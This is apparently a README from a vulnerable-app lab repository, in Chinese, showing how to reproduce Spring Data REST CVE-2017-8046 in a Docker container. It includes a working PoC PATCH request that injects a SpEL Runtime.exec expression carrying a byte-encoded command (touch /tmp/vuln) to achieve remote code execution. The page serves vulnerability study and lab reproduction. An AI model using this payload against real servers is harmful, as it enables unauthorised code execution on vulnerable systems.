Skip to content

Latest commit

 

History

History
 
 

1

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Spring Data REST PATCH请求代码执行漏洞(CVE-2017-8046)

漏洞信息

获取环境:

  1. 拉取镜像到本地
$ docker pull medicean/vulapps:s_spring_1
  1. 启动环境
$ docker run -d -p 8080:8080 medicean/vulapps:s_spring_1

-p 8080:8080 前面的 8080 代表物理机的端口,可随意指定。

使用与利用

访问 http://你的 IP 地址:端口号/, 假设启动的端口号为 8080

PoC

  1. 访问 http://127.0.0.1:8080/,测试服务是否启动成功

  1. 利用 POST 请求添加一个数据

    POST /persons HTTP/1.1
    Host: 127.0.0.1:8080
    Content-Type: application/json
    Cache-Control: no-cache
    
    {"firstName": "VulApps", "lastName": "VulApps"}
    

  1. 执行 PoC

执行命令为: /usr/bin/touch /tmp/vuln,注意 Content-Type 值为 application/json-patch+json

PATCH /persons/1 HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json-patch+json
Cache-Control: no-cache
Content-Length: 228
	
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{47,117,115,114,47,98,105,110,47,116,111,117,99,104,32,47,116,109,112,47,118,117,108,110}))/lastName", "value": "vulapps-demo" }]

  1. 进入容器,发现成功创建文件

参考链接

改动日志

  • 2017/09/29 删除原 jar 包中 mongodb 依赖